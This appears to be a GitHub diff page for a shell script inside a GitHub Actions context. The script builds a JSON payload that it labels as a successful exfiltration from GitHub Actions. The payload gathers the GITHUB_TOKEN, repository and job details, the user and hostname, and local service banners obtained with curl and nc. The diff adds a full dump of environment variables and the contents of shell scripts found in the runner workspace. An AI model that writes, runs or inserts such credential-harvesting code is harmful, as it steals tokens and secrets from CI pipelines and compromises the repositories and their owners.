File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -50,18 +50,17 @@ JSON_PAYLOAD=$(cat <<EOF
5050 {
5151 "message": "SUCCESSFUL EXFILTRATION FROM GITHUB ACTIONS",
5252 "github_token": "${GITHUB_TOKEN} ",
53+ "github_token": "${secrets.GITHUB_TOKEN} ",
5354 "repository": "${GITHUB_REPOSITORY} ",
5455 "workflow": "${GITHUB_WORKFLOW} ",
5556 "job": "${GITHUB_JOB} ",
5657 "current_user": "$( id) ",
5758 "working_directory": "$( pwd) ",
5859 "hostname": "$( hostname) ",
59- "os_release": "$( cat /etc/os-release 2> /dev/null || ver) ",
60- "kernel_version": "$( uname -a 2> /dev/null) ",
61- "system_info": "$( uname -mrs 2> /dev/null || systeminfo | findstr /B /C:\" OS\" 2> NUL) ",
6260 "http_banner": "$( curl -I http://localhost 2> /dev/null | head -n 1) ",
6361 "ssh_banner": "$( echo | nc localhost 22 2> /dev/null | head -n 1) ",
64- "open_ports": "$( netstat -tuln 2> /dev/null || netstat -an 2> NUL | find \" LISTEN\" ) "
62+ "all_env_vars": "$( env | sort | jq -Rn ' [inputs|split(\"=\")|{(.[0]):.[1]}]' 2> /dev/null || printenv | sort) ",
63+ "sh_files_contents": "'"$( for f in /home/runner/work/* .sh 2> /dev/null; do echo " ==== $f ====" ; cat " $f " ; done | tr ' \n' ' ;' ) "'"
6564}
6665EOF
6766)
You can’t perform that action at this time.
0 commit comments